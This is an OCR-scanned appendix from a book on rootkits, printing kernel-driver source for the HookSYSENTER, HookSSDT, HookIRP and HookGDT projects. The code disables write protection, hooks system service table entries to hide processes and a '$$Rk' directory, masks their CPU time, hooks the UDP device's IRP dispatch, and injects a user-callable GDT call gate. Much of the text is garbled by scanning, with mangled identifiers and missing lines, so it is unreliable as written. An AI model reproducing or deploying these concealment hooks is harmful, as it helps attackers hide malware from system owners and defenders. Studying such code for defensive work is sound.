}/"end Hoo kSYSENTER () - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - -- - - - - --- - - - -- - - - - - - -" I IIDRIVER_OBJECT Routines ------------------ ---- --- ---- - ------ - --------- --------void Driver Unload(PDRIVER_OBJECT pDriverObject) { DBG_TRACE("OnUnload " , "Received signal to unload the driver") ; DBG_ TRACE ( "OnUnload" , "Restoring original MSR " ); HookSYSENTER( originalMSRLowValue) ; DBG_TRACE ("OnUnload" , "Cleanup complete ");
A pen di X p
I 759
Appendix / Chapter 5
PUNICOOE_STRING RegistryPath
DBG_TRACE("Driver Entry", "Driver is Booting-------------------------------"); DBG_TRACE( "Driver Entry", "Establishing DriverObject function pointers"); ( *pDriverObject) . DriverUnload = DriverUnload; DBG_TRACE( "Driver Entry", "calling HookSYSENTER()") ; / /initialize globals originalMSRLowValue =0; printFreq =leee; currentIndex =0; nActiveProcessors =KeNumberProcessors; H ookSYSENTER( (DWORD)KiFastSystemCallHook); return(STATUS_SUCCESS) ; }/*end DriverEntry() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* /
Proied: HookSSDT
Files: ssdt.h, hookssdt.c, modwp.c, kmd.c, zwsetvaluekey.c, zwquerysysteminformation.c, zwquerydiredoryfile.c
/*'1 III I III I I III I I I I I I I I I I I I I I I I I I I I I I I I III I I I III I I I I I I I I I III I I I III I I I III I I I I I I
+
+
ssdt .h
+ #pragma pack(l) typedef struct ServiceDescriptorEntry { DWORD *KiServiceTable; DWORD *CounterBaseTable; DWORD nSystemCall s; DWORD *KiArgumentTable ; } SDE, *PSDE; #pragma pack() typedef struct ServiceDescriptorTable ( SDE ServiceDescriptor[ 4]; }SDT;
+ + +
++++++++++++++++++++++1111111111111111111111111111111111111111111111111111111 */
1* I I II
+
+ +
hookssdt. C
+ +
11111111111111111111111111111111111+++++1111111111111111111111111111111111111*/
760
Appendix
Project: HookSSDT
[JIoKJRO NtRoutineAddress(BYTE *address, [JIoKJRO* kiServiceTable) { [JIoKJRO indexValue; indexValue = getSSOTIndex( address); return(kiServiceTable[ indexValue]); }/*end NtRoutineAddress() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - -* I
1*
Restores the oldAddr in the SSOT at the location specified by apiCall
*1
BYTE* hookSSOT(BYTE* apiCall, BYTE* oldAddr, [JIoKJRO* callTable)
{
PLONG target ; [JIoKJRO indexValue; indexValue = getSSOTIndex(apiCall); target = (PLONG) &( callTable[ indexValue]); return( (BYTE*)InterlockedExchange(target, (LONG)oldAddr; }/*end hookSSOT() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - -* I
1*
This places newAddr at the location specified by apiCall returns the existing address so that we can unhook later on
*1
void unHookSSOT(BYTE * apiCall, BYTE* newAddr, [JIoKJRO* callTable) { PLONG target ; [JIoKJRO indexValue; indexValue = getSSOTIndex(apiCall); target = (PLONG) &(callTable[indexValue]); Inter10ckedExchange (target, (LONG )newAddr) ; }/*end unHookSSOT() - - - - - - - - - - - - - - -- - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - -* I
/* I t I
+ + +
I I I I I 1+++++++++++++++++ I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
modwp.c
+ + +
+++++111111111111+++++11111111111++++++++111111111111111111111111111111111111*/
118x8001eooe
_asm
I'(JV
PUSH EBX EBX, CR8 OR EBX, ex8001eeoo I'OV CR8,EBX POP EBX
returnj
}/*end enableWP_CR8- - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - - - - - - - -- - - - -* I
Appendix 1761
Appendix I Chapter 5
void dis ableWP_CR00 { Ilcl ear the WP bi t 110xFFFEFFFF = [1111 1111) [1111 1110) [1111 1111) [1111 1111) _asm PUSH EBX /ofJV EBX,CR0 AND EBX, 0xFFFEFFFF /ofJV CR0, EB X POP EBX
return j
}/e nd disableWP_CR0- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . I
IUse a Memory Descriptor List (I'VL) ------ -------- ---- -- -- ------------------- I I'VL mdl ; typedef struct _WP_GLOBALS { BYTE callTable; Il address of SSDT mapped to new memory region (that we can modify) PI'VL pl'VL; Ilpointer to I'VL }WP_ GLOBALS ; WP_GLOBALS disableWP_/ofJL
(
WP_GLOBALS wpGlobals ; DBG]RINT2(" [disableWP_I'VL) : original address of SSDT=%x\n " , ssdt); DBG]RINT2 ( " [disableWP_I'VL) : nServices=%x\n", nServices);
I I Map the SSDT memory into an I'VL that we control (Nota Bene: routines are obsolete!) wpGlobal s .pl'VL = MmCreateMdl
(
Il update the I'VL t o describe the underlying physical pages MmBuildMdlForNonPagedPool(wpGlobals.pl'VL); II change flags so that we can perform modifications
( . (wpGlobals . pl'VL . MdlFlags = ( . (wpGlobals . pl'VL . MdlFlags : I'VU1APPED_ TO_SYSTEM_VA;
Il maps the phys ical pages that are described by the I'VL and locks them wpGlobals . call Table = ( BYTE" )MmMapLockedPages(wpGlobals. pl'VL, KernelMode); i f ( wpGlobals . call Table==NULL) { DBG_TRACE( "disableWP_I'VL", "call to MmMapLockedPagesO failed"); return (wpGlobals) ;
DBG]RINT2 ( " [disableWP_I'VL): address of callTable=% x\n" , wpGlobals. callTable);
7621 Appendix
Project: HookSSDT
return (wpGlobals) ; }/'end disableWP_MDL() - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -' / void enableWP_MDL(PI'VL mdlptr, BYTE ' callTable) { if(mdlptr! =NUL L) { r-nlJnmapLockedPages( (PVOID)call Table, mdlptr); IoFreeMdl (mdlptr);
/.
This is used to debug the return value of the disableWP_I'VL() routine Compare output against Kd. exe memory dump e: kd> dps nt! KiServiceTable
./
void printSSOT(oo,.,oRO ssdt, oo,.,oRO nCalls) { oo,.,oRD i; for(i =e; i<nCalls; i++, ssdt++) { DBG]RINT3(" [printSSDT] : %x %x\nn, ssdt, 'ssdt);
return;
}/ 'end printSSDT ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -' /
/* I
+ + +
I I I I I I I I I I I I I I I 1+++++ I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I , I I
kmd.c
+ + +
,*/
/ / system includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #include nntddk.h ' / /s hared includes- - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include ndbgmsg. h n #include datatype . h
00 00
/ /local includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include nssdt.hn #include nzwsetvaluekey. co. #include zwquerysysteminformation. #include zwquerydirectoryfile. c #include nmodwp.c n #include nhookssdt . co.
00 COO 00 00
PVOID 'systemCallTable ;
/ /DRIVER_OBJECT Routines - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - -VOID Unload(IN PDRIVER_OBJECT DriverObject) { DBG_TRACE(nOnUnloadn , nReceived signal to unload the driver n) ; DBG_TRACE(nOnUnloadn ,n UnHooking Function Calls n) ; unHookSSDT
(
(BYTE') ZwSetValueKey,
Appendix 1763
Appendix / Chapter 5
return;
}/'e nd OnUnload() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -, /
/'
DriverEntry - main entry point of a kernel mode driver
'/
NTSTATUS DriverEntry ( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath
WP_GLOBALS wpGlobals; DBG_TRACE ( "Driver Entry", "Driver is Booting- - - - - - - - - - - - - -- - - - - - - - - - -- - - - - -"); DBG_TRACE("Driver Entry", "Establishing DriverObject function pointers"); ( *pDriverObject) . DriverUnload = Unload; DBG_TRACE("Driver Entry", "Disabling WP bit"); wpGlobals = disableWP_MOL ( KeServiceDescriptorTable. KiServiceTable, KeServiceDescriptorTable. nSystemCalls ); if( (wpGlobals. pMDL==NULL) : : (wpGlobals . callTable==NULL { return(STATUS_UNSUCCESSFUL) ; } pMDL = wpGlobals. pMDL; systemCallTable = wpGlobals. callTable;
/'
di s ableWP_CRB(); systemCall Table = (BYTE' )KeServiceDescriptorTable. KiServiceTable;
'/
DBG_TRACE( "Driver Entry", "Hooking the function calls"); oldZwSetValueKey = (ZwSetValueKeyptr)hookSSDT ( (BYTE ' )ZwSetValueKey, (BYTE ' )newZwSetValueKey, (DWORD')systemCallTable ); oldZloQuerySystemInformation = (ZloQuerySystemInformationptr) hookSSDT
764
Appendix
Project: HookSSDT
); oldZlooQueryDirectoryFile = (Zo,QueryDirectoryFilePtr )hookSSDT ( (BYTE *) ZlooQueryDirectoryFile, (BYTE *)newZlooQueryDirectoryFile, (DWORD* )systemCall Table ); return STATUS_SUCCESS; }/*end DriverEntry(B- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - -- -* /
+ +
1111111111111111111++++++++++++++++11111111111111111111111111111111111111111'*,
/ * prototype to original routine-- - - ---- - --- - - -------------------------------*/ NTSYSAPI NTSTATUS NTAPI ZwSetValueKey( IN HANDLE KeyHandle, IN PUNICOOE_STRING ValueName, IN ULONG Ti tleIndex OPTIONAL, IN ULONG Type, IN PVOID Data, IN ULONG DataSize ); /* Function pointer declaration and definition------------------ -------- -----*/ typedef NTSTATUS ( *ZwSetValueKeyPtr)( IN HANDLE KeyHandle, IN PUNICOOE_STRING ValueName, IN ULONG TitleIndex OPTIONAL, IN ULONG Type, IN PVOID Data, IN ULONG DataSize ); ZwSetValueKeyptr oldZwSetValueKey;
/* ZwSetKeyValue() Replacement- - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - --- - - - - -* / NTSTATUS newZwSetValueKey ( IN HANDLE KeyHandle, IN PUNICOOE_STRING ValueName, IN ULONG Ti tleIndex OPTIONAL, IN ULONG Type, IN PVOID Data, IN ULONG DataSize
NTSTATUS ANSI_STRING
ntStatus; ansiString;
DBG_TRACE("newZwSetValueKey", "Call to set registry value intercepted"); ntStatus = RtlUnicodeStringToAnsiString(&ansiString, ValueName, TRUE); if(NT_SUCCESS(ntStatus
Appendix 1765
Appendix / Chapter 5
DBG_PRINT2{" [newZwSetValueKey 1: \ tValue Name=%s \n" ,ansiString Buffer); RtlFreeAnsiString{&ansiString) ; switch{Type) { case{REG_BINARY) : {DBG]RINT1( "\ t\tType==REG_BINARY\n"); }break; case{REG_oo,.,oRD) : {DBG]RINT1( "\ t\ tType==REG_OI<.ORD\n"); }break; case{REG_EXPANO_SZ): {DBG]RINT1( "\t\ tType==REG_EXPANO_SZ\n"); }break; case{REG_LINK): {DBG_PRINT1( "\ t\tType==REG_LINK\n"); }break; case{REG]j)l TI_SZ) : {DBG]RINT1( "\t\tType==REG_tt.lLTI_SZ\n"); }break; case{REG_NONE) : {DBG]RINT1( " \ t\tType==REG_NONE\n"); }break; case{REG_RESOURCE_LIST) : {DBG]RINT1( "\t\tType==REG_RESOURCE_LIST\n"); }break; case{REG_RESOURCE_REQUIREMENTS_LIST) :
{
DBG_PRINT1{ "\t\ tType==REG_RESOURCE_REQUIREMENTS_LIST\n"); }break; case{REGJULL_RESOURCE_DESCRIPTOR) : { DBG_PRINT1{ "\ t\ tType==REGJULL_RESOURCE_DESCRIPTOR\n") ; }break; case{REG_SZ) :
{
DBG]RINT2{ OO\t\tType==REG_SZ\tData=%S\n" ,Data); }break;
};
/* I I I I I I I I I I I I I I I I I I I I I I I I I I I I I + + Z\<,QuerySystemInformation c +
I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
+ + +
++++++++++++++111111111111111111111111111111111111111111111111111111111111111*/
/* prototype to original routine- -- ---- -- - ------------ ----- -- -- ----- --- ----- -*/ NTSYSAPI NTSTATUS NT API Z\<,QuerySystemInformation ( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ); /* Function pointer declaration and definition----------------------------- --*/
7661 Appendix
Project: HookSSDT
typedef NTSTATUS (*ZwQuerySystemInformationptr) ( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); ZwQuerySystemInformationptr oldZwQuerySystemInformation;
I I ------- - ------ ----- -- ------ ------ULONG LARGE_INTEGER LARGE_INTEGER LARGE_INTEGER UNICODE_STRING KPRIORITY Reserved [6] ; CreateTime; UserTime; KernelTime; ProcessName; BasePriori ty;
I 1---------- - ----- ------ ------- -----HANDLE UniqueProcessId; PVOID Reserved3; HandleCount; ULONG BYTE Reserved4 [ 4] ; ReservedS [11] ; PVOID PeakPagefileUsage; SIZE_T SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[ 6] ; }SYSTEM]ROCESS_INFO, *PSYSTEM]ROCESS_INFO; typedef struct _SYSTEM]ROCESSOR]ERFORMANCE_INFO { LARGE_INTEGER IdleTime; //time system has been idle, l/leeths of nanosecond LARGE_INTEGER KernelTime; Iitime system has been in kernel mode, l/leeths of a nanosecond LARGE_INTEGER UserTime; //time system has been i n user mode, l/leeths of a nanosecond LARGE_INTEGER Reservedl[2]; ULONG Reserved2; }SYSTEM]ROCESSOR]ERFORMANCE_INFO, *PSYSTEM]ROCESSOR]ERFORMANCE_INFO; #define #define SystemProcessInformation SystemProcessorPerformanceInformation timeHiddenUser; timeHiddenKernel;
LARGE_INTEGER LARGE_INTEGER
1* NewZwQuerySystemInformation() Replacement- - - - - -- - - - - - - - - - - - - - - - - - -- - - - - - - -* I
NTSTATUS newZwQuerySystemInformation ( IN ULONG SystemInformationClass, II element of SYSTEM_INFORMATIO~'LCLASS IN PVOID SystemInformation, // size and structure depends upon SystemInformationClass IN ULONG SystemInformationLength, //size (in bytes) of SystemInformation buffer OUT PULONG ReturnLength
Appendix 1767
Appendix / Chapter 5
PSYSTEM]ROCESSOR]ERFORMANCE_INFO timeObject; LONG LONG extraTime; timeObject ; (PSYSTEM_PROCESSOR_PERFORMANCE_INFO)SystemInfonnation; / /transfer time used by hidden tasks to idle time extraTime ; timeHiddenUser . QuadPart + timeHiddenKernel.QuadPart; (*timeObject).IdleTime .QuadPart ; (*timeObject) . IdleTime.QuadPart + extraTime; if (SystemInfonnationClass !; SystemProcessInformation){ return (ntStatus); } / / from here on out, we can safely assume that the invoker asked for SystemProcessInfonnation cSPI pSPI (PSYSTEM_PROCESS_INFO)SystemInformation; NULL;
/ / now we traverse the array of SYSTEM_PROCESS_INFO structures until we hit the end while(cSPI! ; NULL) { if *cSPI) . ProcessName.Buffer ;; NULL) { // Null process name ;; System Idle Process (inject hidden task time) (*cSPI) . UserTime. QuadPart (*cSPI) . UserTime. QuadPart + timeHiddenUser .QuadPart; (*cSPI) . KernelTime .QuadPart ; (*cSPI) . KernelTime.QuadPart + timeHiddenKernel.QuadPart; timeHiddenUser . QuadPart timeHiddenKernel. QuadPart else { if(memcmp( ( *cSPI) . ProcessName . Buffer, L"$$Jk", 18);;8)
{
8' ,
8;
/ / must hide this process / / first, track time used by hidden process timeHiddenUser . QuadPart ;timeHiddenUser. QuadPart + (*cSPI) . UserTime. QuadPart; timeHiddenKernel .QuadPart;timeHiddenKernel.QuadPart + (*cSPI). Kernel Time .QuadPart; if(pSPI! ; NULL) { / /not the first element in the array if( ( *cSPI) . NextEntryOffset;;8) { / / current entry is the last in the array (*pSPI) . NextEntryOffset ; 8; else { (*pSPI) . NextEntryOffset ( *pSPI) . NextEntryOffset + ( *cSPI). NextEntryOffset;
768 I Appendix
P roject: HookSSDT
else { if( ( *cSPI) . NextEntryOffset==e) { / / array consists of single hidden entry (set to NULL) SystemInformation = NULL; } else
{ / / hidden task i s first array element (simply increment to hide task) (BYTE *)SystemInformation = BYTE * )SystemInformation ) + ( *cSPI) . NextEntryOffset;
pSPI = cSPI ; / / move to the next element in the array (or set to NULL if at last element) if *cSPI) . NextEntryOffset != e){ (BYTE*)cSPI = BYTE*)cSPI) + ( *cSPI) . NextEntryOffset; else{ cSPI = NULL; } return ntStatus ; }/*end NewZwQuerySystemInformation( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
+ + +
*/
/* pr ototype to original routine - - - -- --- - - - -- -- ------ - ----- -- -------- --- --- --*/ NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile ( IN HANDLE IN HANDLE I N PIO_APC_ ROUTINE IN PVOID OUT PIO_STATUS_ BLOCK OUT PVOID IN ULONG IN FILE_ INFORMATIDN_CLASS IN BOOLEAN IN PUNICooE_STRING IN BOOLEAN );
FileHandle, Event OPTIONAL, ApcRoutine OPTIONAL , ApcContext OPTIONAL, IoStatusBlock, FileInformation , Length, FileInformationCla s s, ReturnSingleEntry, FileName OPTIONAL, RestartScan
/* Function pointe r declaration and definition --------- - ----- - --- --- - -- - --- - - */ typedef NTSTATUS (*ZwQueryDirectoryFilePtr) ( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcCont e xt OPTIONAL, OUT PIO_STATUS_ BLOCK IoStatusBloc k, OUT PVOID FileInformation, IN ULONG Length,
Appendix 1769
Appendix I Chapler 5
IN IN IN IN
);
Zv.QueryDirectoryFilePtr
oldZv.QueryDirectoryFile;
1* NewZv.QueryDirectoryFile() Replacement- - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - -* I
NTSTATUS newZv.QueryDirectoryFile ( IN HANDLE FileH andle, Event OPTIONAL, IN HANDLE IN PIO_APC_ROUTINE ApcRoutine OPTIONAL , ApcContext OPTIONAL, IN PVOID OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_ClASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICooE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan
770
A pen di x p
Project: HookSSDT
:: (FilelnformationClass! =FileBothDirectorylnformation
Ilarray of structures starts at first byte of PVOID data currOirectory = (PFILE_BOTH_DIR_INFORMATION)Filelnformation; prevDirectory = NULL; II sweep through the array of PFILE_BOTH_DIR_ INFORMATION structures (one per directory)
do {
Ilcheck to see if the current directory is named "$Lrk" nBytesEqual = RtlCompareMemory ( (PVOID)&( (*currDirectory). FileName[B), (PVOID)&(rkDirName[B) , RKDIR_NAME_LENGTH );
i f( nBytesEqual==RKDIR_NAME_LENGTH) { i f( (*currDirectory). NextEntryOffset! =NO_f'ORE_ENTRIES) { int delta; int nBytes ; delta = ((ULONG)currDirectory) - (ULONG)Filelnformation; nBytes = (DWORD)Length - delta; nBytes = nBytes - ( *currOirectory) . NextEntryOffset; RtlCopyMemory
(
continue;
} else {
if(currDirectory == (PFILE_BOTH_DIR_INFORMATION)Filelnformation) { Iionly one directory (and it's the last one) ntStatus = STATUS_NO_MOREJILES; else {
li list has more than one directory, set previous to end of list
(*prevDirectory) . NextEntryOffset= NO_f'ORE_ENTRIES;
}
Appendix
1771
Appendix
I Chapter 5
prevDirectory = currDirectory; currDirectory = (PFILE_BOTH_DIR_INFORMATION) BYTE*)currDirectory + (*currDirectory) NextEntryOffset) ; } while( (*currDirectory) . NextEntryOffset! =NO_I'ORE_ENTRIES); return(ntStatus) ; }/*end newZlo.QueryDirectoryFile() - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --* /
Proied: HookllP
Files: kmd.c
/*,
+ +
III I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
kmd.c
+ +
/ /system includes- - - - - - - - - - - -- - - - - - - - - - - - -- - - - - - -- - - - - -- - - - - -- - - - -- - - - - -- - - - - -#include "ntddk. h" / /local includes- - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - -- - - - - - - - - -- - - - - - - - - - - - - - - - - - --#include .. dbgmsg. h" #include "datatype.h" / /Globals- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - -- - - - -- - - - - - - - - - - - --- - -PFILE_OBJECT hooked File; PDEVICE_OBJECT hookedDevice; PDRIVER_OBJECT hookedDriver; typedef NTSTATUS (*DispatchFunctionptr)
(
DispatchFunctionptr oldDispatchFunction; / /Dispatch Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -NTSTATUS hook Routine ( IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIRP
DBG_TRACE("ARK-hookRoutine", "IRP intercepted"); return (oldDispatchFunction (pDeviceObject, pIRP) ) ; }/*end hookRoutine() - - - - - - - - - - - - - - - - - - - - - --- - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - -* /
7721
Appendix
Project: HooklRP
return;
}/*end Unload() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
NTSTATUS InstallIRPHook( ) { NTSTATUS ntStatus ; UNICODE STRING deviceName; WCHAR devNameBuffer[) = LU\\Device\\UdpU; hooked File hookedDevice hookedDri ver = NULL ; = NULL; = NULL;
RtlIni tUnicodeString( &deviceName , devNameBuffer) ; ntStatus = IoGetDeviceObjectPointer ( &deviceName , I lIN PUNICODE_STRING ObjectName I lIN ACCESS_MASK DesiredAccess FILE_ READ_DATA, &hookedFile, I lOUT PFILE_OBJECT *FileObject &hookedDevice llOUT PDEVICE_OBJECT *DeviceObject ); if ( ! NT_SUCCESS( ntStatus) ) { DBG_TRACE(UARK - InstallIRPHook U uFailed to get Device Object Pointer U); , return (ntStatus) ;
hookedDriver = (*hookedDevi ce) . Dri verObject; oldDispatchFunction = (*hookedDriver).MajorFunction[IRP_MJ_WRITE); if (oldDispatchFunction ! =NULL) { InterlockedExchange ( (PLONG)&( (*hookedDriver) .MajorFunction[IRP_MJ_DEVICE_CONTROL), (ULONG)hookRoutine ); } DBG_TRACE( uARK-InstallIRPHook u, uHook has been installed U); return(STATUS_SUCCESS) ; }/*end InstallIRPHook() - - - - - - - -- - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I NTSTATUS DriverEntry ( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING regPath DBG_TRACE("'ARK - Driver Entry U, U Establishing other DriverObject function pointers U); (*pOriverObject).DriverUnload = Unload; return(InstallIRPHook( ;
Appendix
1773
Appendix
I Chapter 5
Proied: HookGDT
Files: kmd.c, usr.c
/* , I I I I
+ + +
I I 1111+++++++1 I III I I I I I I I I IIIIII11 I I I III I I I I I III I I I I I I I I I I I I I I I I I I I I I I I I
kmd.c
+ + +
hQRD rpl : 2; hQRD ti :1; hQRD index :13; }SELECTOR; #pragma pack()
II Request Privilege Level (ring-e = e) II Table Indicator (e for GDT) Ilarray index into GDT
II segment size (Part-I, 00 :15), increment size set by G flag Illinear base address of GDT (Part-I, 00:15) I I - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - -- -hQRD baseAddress_16_23 : B; l/linear base address of GDT ( Part-II, 16:23) hQRD type :4; Ildescriptor type (Code, Data ) hQRD sFlag :1; I IS flag (e = system segmemt, 1 = code/data) hQRD dpl : 2; IIDesc riptor Privilege Level (DPL) = exe-ex3 hQRD pFlag :1; lI P flag (1 = segment present in memory) hQRD size_16_19:4; Ilsegment size (Part-II, 16 : 19), increment size set by G flag hQRD notused: 1; Ilnot used (e) hQRD lFlag :1; Il L flag (e) hQRD DB : 1; llDefault size for operands and addresses hQRD gFlag:1; IIG flag (granularity, 1 = 4KB, e = 1 byte) hQRD baseAddress_24_31 : 8; l/linear base address (Part-III, 24 : 31) }SEG_DESCRIPTOR , *PSEG_DESCRIPTOR; #pragma pack()
#pragma pack(l) typedef struct _CALL_GATE_DESCRIPTOR
7741 Appendix
Project: HookGDT
Ilprocedure address (lo-order word) II specifies code segment, KGDT_Re_CODE, see below
11----- -------- --------------------------- ------------ -----------------------WORD argCount : 5; Ii number of arguments (DWORDs) to pass on stack WORD zeroes: 3; Iiset to [eOO] Iidescriptor type, 32-bit call gate (in binary: 1100 ; exC) WORD type:4; I IS flag [e ; system segmemt] WORD sFlag:1; II DPL required by caller through gate (11 ; ex3) WORD dpl : 2; WORD pFlag:1; li P flag [1 ; segment present in memory] Ilprocedure address (high-order word) WORD offset_16_31; }CALL_GATE_DESCRIPTOR, *PCALL_GATE_DESCRIPTOR; #pragma pack ()
II II II II II
push EAX, ECX, EDX, EBX , EBP, ESP, ESI , ED! push EFLAGS disable interrupts save FS set FS to ex3e selector
call saySomething;
II II II II II II II
restore ES restore DS restore FS enable interrupts restore registers pushed by pushfd restore registers pushed by pushad you may retf (s izeof arguments ) if you pass arguments
}/*end CallGateProc() -- --- - ----- - ------ - ----- ------ - ----- - - ---- - ------ ------ -*1
PSEG_DESCRIPTOR getGDTBaseAddress () { GDTR gdtr; _asm
Appendix
1775
Appendix I Chapter 5
SGDT gdtr; } return( (PSEG_DESCRIPTDR) (gdtr.baseAddress; }/'end getGDTBaseAddress() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - ---- - -. I DWORD getGDTSize()
{
GDTR gdtr;
SGDT gdtr;
}
return(gdtr . nBytes / 8);
}/'end getGDTSize() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - -. I
CALL_GATE_DESCRIPTOR buildCallGate(BYTE ' procAddress)
{
DWORD address; CALL_GATE_DESCRIPTOR cg; address = (DWORD)procAddress; cg .selector = KGDT_Ra_COOE; cg. argCount = a; cg . zeroes = a; cg.type = a xc ; cg.sFlag = a; cg.dpl = a x3; cg. pFlag = 1; cg . offset_OO_1S = (\oKlRD)(axOOOOFFFF & address); address = address 16; cg.offset_16_31 = (\oKlRD)(axOOOOFFFF & address); return(cg); }/'end buildCallGate() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -. I CALL_GATE_DESCRIPTOR injectCallGate(CALL_GATE_DESCRIPTOR cg) { PSEG_DESCRIPTOR gdt; PSEG_DESCRIPTOR gdtEntry; PCALL_GATE_DESCRIPTOR oldCGPtr; CALL_GATE_DESCRIPTOR oldCG; gdt = getGDTBaseAddress (); oldCGptr = (PCAL L_GATE_DESCRIPTOR)&(gdt[l00]); = ' oldCGptr; oldCG = (PSEG_DESCRIPTOR )&cg; gdtEntry gdt[l00] = ' gdtEntry; return( oldCG); }/'e nd injectCallGate() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -' I
'1
void printGDT(DWORD selector, SEG_DESCRIPTOR sd)
{
DWORD baseAddress; DWORD limit ; DWORD increment; char type[32][11] = { "Data RO \ a", "Data RO AcW,
7761 Appendix
Project: HookGDT
"Data RW \0", "Data RW Ac\0", "Data RO E \0", "Data RO EA\0" , "Data RW E \0", "Data RW EA \0", "Code EO \0", "Code EO Ac\0", "Code RE \0", "Code RE Ac\0", "Code EO C \0", "Code EO CA \0", "Code RE C \0", "Code RE CA\B", "<Reserved> \0", "T5516 Avl \0", "LOT \0", "T5516 Busy\0", "CallGate16\ 0" , "Task Gate \0", "Int Gate16\0", "TrapGate16\0" , "<Reserved>\0" , "T5532 Avl \0", "<Reserved >\0" , "T5532 Busy\0", "CallGate32\0" , "<Reserved >\0", "Int Gate32\0", "TrapGate32\ 0"
}; Dl\QRD index; char present(2][3] = {"Np\0", "P \0"}; char granularity(2][3] = {"By\0", "Pg\0"};
baseAddress = 0; baseAddress baseAddress + sd . baseAddress_24_31; baseAddress baseAddress 8; baseAddress baseAddress + sd . baseAddress_16_23; baseAddress baseAddress 16; baseAddress baseAddress + sd.baseAddress_OO_15; limit 0; limit limit + sd . size_16_19; limit limit 16; limit limit + sd . size_OO_15; if (sd . gFlag==l) { increment = 4096; limit++; limit = limit increment; limit -- ;
%U" ,
Appendix
1777
Appendix I Chapler 5
baseAddress, limit, type[index] , sd .dpl, granularity [sd . gFlag], present [sd . pFlag], sd.sFlag
); return; }/*end printGDT() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - -- - - - -* /
void walkGDT () { [)Io.QRD nGOT; PSEG_DESCRIPTOR gdt; [)Io.QRD i; gdt = getGDTBaseAddress(}; nGDT = getGDTSize () ; DbgPrint( "Sel Base Limit DbgPrintC---- -------for(i=e; i<nGDT;i++) { printGDTi *8), *gdt); gdt = gdt+l; Type
----------
P Sz G Pr Sys"); ---");
--
DBG_TRACE ( "Unload", "Received signal to unload the driver"); DBG_TRACE("Unload", "Restoring old call gate"); injectCallGate( oldCG); walkGDT(} ; DBG]RINT2(" [Unload]: calledFlag=%08x" ,calledFlag);
return;
}/*end Unload() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - - - - - - - - * / /* DriverEntry - main entry point of a kernel mode driver
*/
NTSTATUS DriverEntry ( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING regPath
